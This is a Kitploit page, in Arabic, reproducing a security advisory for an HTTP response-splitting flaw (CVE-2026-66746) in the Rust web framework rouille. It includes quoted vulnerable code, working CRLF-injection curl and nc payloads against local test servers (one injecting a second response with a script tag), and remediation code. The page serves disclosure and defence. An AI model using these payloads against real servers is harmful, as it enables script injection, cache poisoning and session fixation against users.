Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-66746-HTTP-Response-Splitting-via-Unvalidated-Response-Header-Values-rouille- — استشارة أمنية: HTTP Response Splitting عبر قيم ترويسة استجابة غير مُتحقَّقة (rouille) | Kitploit
أدوات/GitHubGitHub/theopaid/cve-2026-66746-http-response-splitting-via-unvalidated-response-header-values-rouille-
تحليل الثغرات الأمنيةتحليل الكوداستغلال تطبيقات الويبأمن الويباختبار الاختراق
GitHubtheopaid/cve-2026-66746-http-response-splitting-via-unvalidated-response-header-values-rouille-

CVE-2026-66746-HTTP-Response-Splitting-via-Unvalidated-Response-Header-Values-rouille-

استشارة أمنية: HTTP Response Splitting عبر قيم ترويسة استجابة غير مُتحقَّقة (rouille)

عرض المستودع
2منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

استشارة أمنية: حقن استجابات HTTP عبر قيم ترويسات استجابة غير مُتحقق منها (rouille)

معرّف CVE المخصص: CVE-2026-66746

الملخص

تكتب rouille قيم ترويسات الاستجابة إلى العميل دون التحقق منها من وجود حرف إرجاع السطر أو تغذية السطر. أي تطبيق يضع نصًا متأثرًا من المهاجم في قيمة ترويسة، فإنه يُصدر ترويسات إضافية، أو استجابة HTTP ثانية بالكامل، على الشبكة.

خاصيتان في rouille تجعلان هذا الأمر قابلًا للوصول في الكود العادي. Request::get_param يقوم بفك ترميز النسب المئوية، لذا فإن %0d%0a في سلسلة الاستعلام يتحول إلى CRLF حقيقي. وsession::session تنسخ قيمة Cookie الخاصة بالعميل نفسه إلى Set-Cookie دون أي تحقق على الإطلاق.

كل حزمة Rust أخرى مستخدمة على نطاق واسع ترفض هذا على مستوى النوع: http::HeaderValue::from_str يُرجع InvalidHeaderValue عند وجود CR و LF، ولهذا السبب فإن hyper و axum و actix-web و warp ليست معرّضة بنفس الطريقة.

الإصدارات المتأثرة

رابط المستودع: https://github.com/tomaka/rouille

أول إصدار متأثر0.4.0 (2016-12-14) لمسار ترويسة الاستجابة أدناه
آخر إصدار متأثر3.6.2 (2023-04-24)، الإصدار الحالي
أُصلح فيلا يوجد إصدار مُصلَح وقت كتابة هذا التقرير

الإصدارات التي سبقت 0.4.0 تُرسل الاستجابات عبر مسار كود مختلف لم يتم فحصه، لذا لا يُدّعى بشأنها أي شيء في الاتجاهين. انعكاس session::session الموصوف تحت المسار B موجود منذ 0.3.2 (2016-12-02) فصاعدًا.

الخطورة

CWE-113 (تحييد غير صحيح لتسلسلات CRLF في ترويسات HTTP)، وهي حالة خاصة من CWE-93 (حقن CRLF).

درجة CVSS 4.0 الأساسية 5.3 (متوسطة) CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

نموذج التهديد

يتطلب المسار A مهاجمًا عن بُعد غير مصادق عليه، وضحية تتبع رابطًا يوفره المهاجم. يحتاج المهاجم إلى أن يضع التطبيق أي سلسلة مشتقة من الطلب في ترويسة استجابة. إعادة التوجيه إلى معامل استعلام next أو return_to هي الحالة الشائعة.

يتطلب المسار B فقط أن يستدعي التطبيق session::session ويقرأ معرّف الجلسة. يتحكم المهاجم في ترويسة Cookie الخاصة به، لذا فهذا في حد ذاته ضرر ذاتي. يتحول إلى هجوم ضد الآخرين عندما يخزّن cache مشترك الاستجابة المنقسمة، أو عندما يُدمج مع طريقة أخرى لتعيين ملف تعريف ارتباط في متصفح الضحية.

السبب الجذري

rouille/src/lib.rs، الأسطر من 624 إلى 640، يمرر القيم مباشرة:

root@kitploit:~
624              for (key, value) in rouille_response.headers {
625                  if key.eq_ignore_ascii_case("Content-Length") {
626                      continue;
627                  }
628  
629                  if key.eq_ignore_ascii_case("Upgrade") {
630                      upgrade_header = value;
631                      continue;
632                  }
633  
634                  if let Ok(header) = tiny_http::Header::from_bytes(key.as_bytes(), value.as_bytes())
635                  {
636                      response.add_header(header);

Header::from_bytes يتحقق فقط من أن البايتات هي ASCII، و CR و LF هما بايتات ASCII. tiny_http-0.12.0/src/common.rs، الأسطر من 166 إلى 172:

root@kitploit:~
166      pub fn from_bytes<B1, B2>(header: B1, value: B2) -> Result<Header, ()>
...
171          let header = HeaderField::from_bytes(header).or(Err(()))?;
172          let value = AsciiString::from_ascii(value).or(Err(()))?;

ثم تُكتب القيمة دون أي تهريب. tiny_http-0.12.0/src/response.rs، الأسطر من 99 إلى 104:

root@kitploit:~
 99      for header in headers.iter() {
100          writer.write_all(header.field.as_str().as_ref())?;
101          write!(&mut writer, ": ")?;
102          writer.write_all(header.value.as_str().as_ref())?;
103          write!(&mut writer, "\r\n")?;
104      }

المسار A، معاملات الاستعلام المفكوك ترميزها بالنسبة المئوية

Request::get_param يفك ترميز هروب النسب المئوية، لذا يستقبل المتصل أحرف تحكم حقيقية. rouille/src/lib.rs، الأسطر من 928 إلى 932:

root@kitploit:~
928              .map(|value| {
929                  percent_encoding::percent_decode(value.replace('+', " ").as_bytes())
930                      .decode_utf8_lossy()
931                      .into_owned()
932              })

المسار B، معرّفات الجلسة المنعكسة من الطلب

rouille/src/session.rs يأخذ المفتاح من ملف تعريف ارتباط العميل في السطر 59 ويدرجه في ترويسة الاستجابة في الأسطر من 75 إلى 81:

root@kitploit:~
 59              key: cookie.into(),
...
 75          let header_value = format!(
 76              "{}={}; Max-Age={}; Path=/; HttpOnly",
 77              cookie_name, session.key, timeout_s
 78          );
 79          response
 80              .headers
 81              .push(("Set-Cookie".into(), header_value.into()));

إثبات المفهوم

المسار A

الخطوة 1. شغّل خادمًا يعيد التوجيه إلى معامل استعلام.

root@kitploit:~
use rouille::Response;

fn main() {
    rouille::start_server("127.0.0.1:8002", |request| {
        let next = request.get_param("next").unwrap_or_else(|| "/".to_string());
        Response::redirect_303(next)
    });
}

الخطوة 2. أرسل الطلب مع %0d%0a في المعامل.

root@kitploit:~
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aX-Injected:%20yes'

النتيجة. تصل X-Injected كترويسة مستقلة:

root@kitploit:~
HTTP/1.1 303 See Other
Server: tiny-http (Rust)
Location: /a
X-Injected: yes
Content-Length: 0

الخطوة 3. مدّد الحمولة إلى ما بعد نهاية الترويسات لإصدار استجابة ثانية كاملة.

root@kitploit:~
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E'

النتيجة. طلب واحد، استجابتان كاملتان. الثانية تحمل سطر حالة ونوع محتوى وجسمًا يختاره المهاجم:

root@kitploit:~
HTTP/1.1 303 See Other
Location: /a
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html

<script>alert(1)</script>

المسار B

الخطوة 1. شغّل خادمًا يستخدم أسلوب الجلسة الموثق.

root@kitploit:~
use rouille::{session, Response};

fn main() {
    rouille::start_server("127.0.0.1:8006", |request| {
        session::session(request, "SID", 3600, |s| {
            Response::text(format!("session id: {}", s.id()))
        })
    });
}

الخطوة 2. أرسل ملف تعريف ارتباط تحتوي قيمته على LF مجرد. \n أدناه هو تغذية سطر واحدة، و\r\n هو CRLF.

root@kitploit:~
printf 'GET / HTTP/1.1\r\nHost: x\r\nCookie: SID=abc\nX-Injected: yes\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8006

النتيجة. تخرج القيمة من Set-Cookie إلى سطر خاص بها:

root@kitploit:~
Set-Cookie: SID=abc
X-Injected: yes; Max-Age=3600; Path=/; HttpOnly

للمسار B ثلاثة قيود جديرة بالملاحظة. فقط LF المجرد يمر، لأن CRLF كان سينهي سطر الترويسة في tiny_http، لذا يجب على العميل أو الـ cache معاملة LF المنفرد كمُنهِ للسطر. كل ما بعد نقطة الحقن لا يزال يحمل لاحقة ; Max-Age=3600; Path=/; HttpOnly من نفس format!، لذا فإن البدائية هي ترويسة ذات لاحقة ثابتة في نهايتها وليست ترويسة عشوائية نظيفة. والمهاجم يتحكم فقط في ملف تعريف الارتباط الخاص به. المسار A ليس لديه أي من هذه القيود.

التأثير

تنفيذ سكربت في سياق أمان الأصل، وتسميم الـ cache عندما يخزّن cache مشترك الاستجابة المحقونة مقابل عنوان URL الخاص بالضحية، وتثبيت الجلسة عبر Set-Cookie محقون، وتجاوز ترويسات الأمان مثل CSP أو CORS. ولأن المسار A يُنتج CRLF حقيقيًا، فإن كل عميل و cache يقسم عنده.

المعالجة

تحقق من قيم الترويسات في Server::process قبل تمريرها إلى tiny_http، في rouille/src/lib.rs حول السطر 634:

root@kitploit:~
fn header_value_is_safe(v: &str) -> bool {
    !v.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
}

أعد 500 للاستجابة بأكملها بدلًا من إسقاط الترويسة المخالفة، بحيث يكون الفشل مرئيًا بدلًا من تغيير الاستجابة بصمت.

تحقق أيضًا من مفتاح الجلسة في session::session: ارفض قيمة ملف تعريف ارتباط ليست [A-Za-z0-9]+ وولّد معرّفًا جديدًا بدلًا من ذلك. التحقق في Response::with_additional_header وwith_unique_header ومنشئات redirect_* سيكشف الخطأ في موقع الاستدعاء، حيث يمكن لمؤلف التطبيق التعامل معه.

تنزيل الأداة